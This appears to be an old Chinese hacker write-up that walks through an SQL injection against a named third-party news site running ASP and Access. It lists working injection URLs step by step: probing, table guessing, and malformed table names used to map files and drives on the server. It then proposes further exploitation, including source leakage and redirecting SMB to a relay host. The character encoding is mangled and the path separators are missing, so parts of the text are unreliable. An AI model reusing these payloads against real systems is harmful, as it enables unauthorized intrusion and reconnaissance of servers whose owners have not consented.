一. 在一次玩sql injection時(shí)無意發(fā)現(xiàn)了這個(gè)漏洞:
1.訪問http://www.lznet.net/news/displaynews.asp?id=24794'
頁面出錯(cuò)信息:
Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 字符串的語法錯(cuò)誤 在查詢表達(dá)式 'id = 24794'' 中。
/news/displaynews.asp,行133
2.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1
頁面正常
3.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2
頁面返回"找不到文件"
這是典型的sql injection with access漏洞,接下來猜表名:
4.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from news)
頁面出錯(cuò):數(shù)據(jù)庫引擎找不到輸入表或查詢 'news'
5.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from admin)
頁面出錯(cuò):數(shù)據(jù)庫引擎找不到輸入表或查詢 'admin'
6.突然想起了sql injection技術(shù)中得到的出錯(cuò)信息中表名格式為: news.id
其中news為表名,id為表中的一個(gè)列名
7.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from lznet.a)
出錯(cuò):找不到文件 'C:WINNTsystem32lznet.mdb'。
8.試遍了web根目錄以及所有知道的虛擬目錄,都下載不到這個(gè)lznet.mdb,仔細(xì)一看原來是lznet.mdb這個(gè)文件名是自己定義的。但是,是什么原因泄露系統(tǒng)目錄的物理路徑呢?繼續(xù)試試能不能查詢c:winntsystem32下的cmd.exe文件.
9.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from cmd.exe.a)
這條語句格式是經(jīng)過多次試驗(yàn)得到的:)
出錯(cuò):"數(shù)據(jù)庫引擎打不開文件'C:WINNTsystem32CMD.EXE'。 它已經(jīng)被別的用戶以獨(dú)占方式打開,或沒有查看數(shù)據(jù)的權(quán)限。 "
分析以上出錯(cuò)信息,我想權(quán)限是有的,因?yàn)槲覀兪腔赼sp的guest權(quán)限,默認(rèn)cmd.exe是Everyone:R ,如果打不開那就是數(shù)據(jù)庫不支持了,但是文件夾是可以被數(shù)據(jù)庫訪問,否則我們是搜索不到其中的文件的。
10.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:cmd.exe.a)
在這里我們可以看到跨目錄查詢是可行的
出錯(cuò):
找不到文件 'c:cmd.exe'。
11.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from c:oot.ini.a)
注:boot.ini是win2000在系統(tǒng)盤根目錄下的系統(tǒng)引導(dǎo)文件
出錯(cuò):
據(jù)庫引擎打不開文件'c:oot.ini'。 它已經(jīng)被別的用戶以獨(dú)占方式打開,或沒有查看數(shù)據(jù)的權(quán)限。
12.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from d:oot.ini.a)
跨盤符查詢也是可行的
出錯(cuò):
找不到文件 'd:oot.ini'。
13.訪問http://www.lznet.net/news/displaynews.asp?id=24794 and 0<>(select count(*) from i:oot.ini.a)
出錯(cuò):
'i:oot.ini'不是一個(gè)有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務(wù)器。
注:我們看到出錯(cuò)信息很老實(shí)的告訴了我們這個(gè)系統(tǒng)沒有i盤,從側(cè)面說access的出錯(cuò)信息在某些方面還是比較詳細(xì)的。
14.這是個(gè)比較實(shí)際的利用,如果對(duì)方是從spx打到spx,在winnt目錄下就會(huì)有這些文件,我們可以通過這個(gè)漏洞查找這些文件,確定目錄主機(jī)打補(bǔ)丁的情況:
[$NtUninstallQ329553$] [$NtUninstallQ329834$]
[$NtUninstallQ331953$] [$NtUninstallQ810833$]
[$NtUninstallQ811114$] [$NtUninstallQ811493$]
[$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]
……………
二.漏洞的利用設(shè)想:
1.查詢某個(gè)動(dòng)態(tài)網(wǎng)頁文件,利用查詢語句獲取動(dòng)態(tài)網(wǎng)頁的源代碼,比如讀取文件內(nèi)容并把內(nèi)容寫入到表的一個(gè)列里,然后用len暴力猜列里的內(nèi)容,從而得到源碼。
2.猜測(cè)目錄的位置、文件名等等,了解對(duì)方的一點(diǎn)主機(jī)信息,比如說系統(tǒng)安裝在哪個(gè)分區(qū)上,共有幾個(gè)分區(qū)以及系統(tǒng)打的什么補(bǔ)丁等等。
3.查詢unc路徑,如\1.1.1.1sharea.vbs,而\1.1.1.1運(yùn)行著smbrelay,我們利用smb重定向技術(shù)有能會(huì)得到一個(gè)guest權(quán)限的ipc連接,這就有意思多了。
4.查找敏感文件,比如*.cif,*.mdb等等,但是我沒有實(shí)現(xiàn)在access上使用通配符查詢文件,可能是因?yàn)槲沂菙?shù)據(jù)庫新手的問題。
5.執(zhí)行文件,可以的話就發(fā)財(cái)了.
6.以上設(shè)想可能有理解錯(cuò)誤正在驗(yàn)證中(你想到什么就告訴我吧)
有關(guān)我對(duì)這個(gè)漏洞的理解:
access對(duì)表和列的查詢存在問題,如果我們構(gòu)造一個(gè)畸型表名的話,access找不到這樣的表就會(huì)當(dāng)成mdb文件去查找,如果構(gòu)造得當(dāng),就會(huì)當(dāng)成一個(gè)文件去到硬盤上查找!(默認(rèn)在system32下查找。我在sql server也簡(jiǎn)單測(cè)試了一下,沒有發(fā)現(xiàn)這個(gè)問題。另外利用這個(gè)漏洞需要兩個(gè)條件(怕有的人不理解):
(1)對(duì)方是asp+access應(yīng)用體系,并且asp代碼存在過濾不足的問題使我們可以遠(yuǎn)程注射sql語句。
(2)asp要能顯示查詢失敗的詳細(xì)信息,比如"數(shù)據(jù)庫引擎找不到輸入表或查詢 'news'"。否則我們無論查詢是否成功都變的沒有意義。